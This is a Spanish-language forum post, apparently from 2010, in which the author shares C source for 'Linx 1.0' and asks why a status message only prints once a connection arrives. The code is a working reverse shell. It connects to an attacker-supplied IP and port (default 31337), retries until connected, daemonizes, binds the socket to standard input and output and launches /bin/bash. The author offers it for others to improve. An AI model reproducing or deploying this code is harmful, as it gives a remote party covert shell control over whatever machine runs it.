Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
struct sockaddr_in host;
int sockfd;
int execsock (int socket, char program [])
{
close(0);
close(1);
close(2);
dup2(socket, 0);
dup2(socket, 1);
dup2(socket, 2);
execve(program, NULL, NULL);
return 0;
}
int main (int argc, char *argv [])
{
struct tm *ahora;
char hora [40];
strftime (hora
, 40, "%d/%m/%Y %H:%M:%S" , ahora
);
printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora
);
if (argc == 3)
{
host.sin_addr.s_addr = inet_addr (argv [1]);
host.
sin_port = htons
(atoi (argv
[2]));
host.sin_family = AF_INET;
}
else
{
host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337);
host.sin_family = AF_INET;
}
sockfd = socket (2, 1, 0);
if (sockfd != -1)
{
printf ("[OK]\nConectando...\t\a"); }
else
{
return 1;
}
while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);
printf ("[OK]\nLanzando sell...\t[OK]"); daemon (1, 0);
execsock (sockfd, "/bin/bash");
close (sockfd);
return 0;
}
Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...